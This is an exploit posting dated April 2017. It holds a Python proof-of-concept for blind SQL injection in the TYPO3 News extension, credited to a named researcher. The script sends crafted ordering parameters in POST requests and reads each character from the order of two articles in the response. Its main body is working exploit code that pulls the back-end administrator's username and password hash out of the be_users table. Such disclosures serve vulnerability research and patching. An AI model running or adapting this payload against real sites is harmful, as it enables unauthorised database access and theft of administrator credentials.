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TYPO3 News Module SQL Injection

Posted on 28 April 2017

# Exploit Title: TYPO3 News Module SQL Injection
# Vendor Homepage: https://typo3.org/extensions/repository/view/news
# Exploit Author: Charles FOL
# Contact: https://twitter.com/ambionics
# Website: https://www.ambionics.io/blog/typo3-news-module-sqli

#!/usr/bin/python3

# TYPO3 News Module SQL Injection Exploit
# https://www.ambionics.io/blog/typo3-news-module-sqli
# cf
#
# The injection algorithm is not optimized, this is just meant to be a POC.
#

import requests
import string

session = requests.Session()
session.proxies = {'http': 'localhost:8080'}

# Change this
URL = 'http://vmweb/typo3/index.php?id=8&no_cache=1'
PATTERN0 = 'Article #1'
PATTERN1 = 'Article #2'

FULL_CHARSET = string.ascii_letters + string.digits + '$./'

def blind(field, table, condition, charset):

# We add 9 so that the result has two digits

# If the length is superior to 100-9 it won't work

size = blind_size(

'length(%s)+9' % field, table, condition,

2, string.digits

)

size = int(size) - 9

data = blind_size(

field, table, condition,

size, charset

)

return data

def select_position(field, table, condition, position, char):

payload = 'select(%s)from(%s)where(%s)' % (

field, table, condition

)

payload = 'ord(substring((%s)from(%d)for(1)))' % (payload, position)

payload = 'uid*(case((%s)=%d)when(1)then(1)else(-1)end)' % (

payload, ord(char)

)

return payload

def blind_size(field, table, condition, size, charset):

string = ''

for position in range(size):

for char in charset:

payload = select_position(field, table, condition, position+1, char)

if test(payload):

string += char

print(string)

break

else:

raise ValueError('Char was not found')

return string

def test(payload):

response = session.post(

URL,

data=data(payload)

)

response = response.text

return response.index(PATTERN0) < response.index(PATTERN1)

def data(payload):

return {

'tx_news_pi1[overwriteDemand][order]': payload,

'tx_news_pi1[overwriteDemand][OrderByAllowed]': payload,

'tx_news_pi1[search][subject]': '',

'tx_news_pi1[search][minimumDate]': '2016-01-01',

'tx_news_pi1[search][maximumDate]': '2016-12-31',

}

# Exploit

print("USERNAME:", blind('username', 'be_users', 'uid=1', string.ascii_letters))
print("PASSWORD:", blind('password', 'be_users', 'uid=1', FULL_CHARSET))

 

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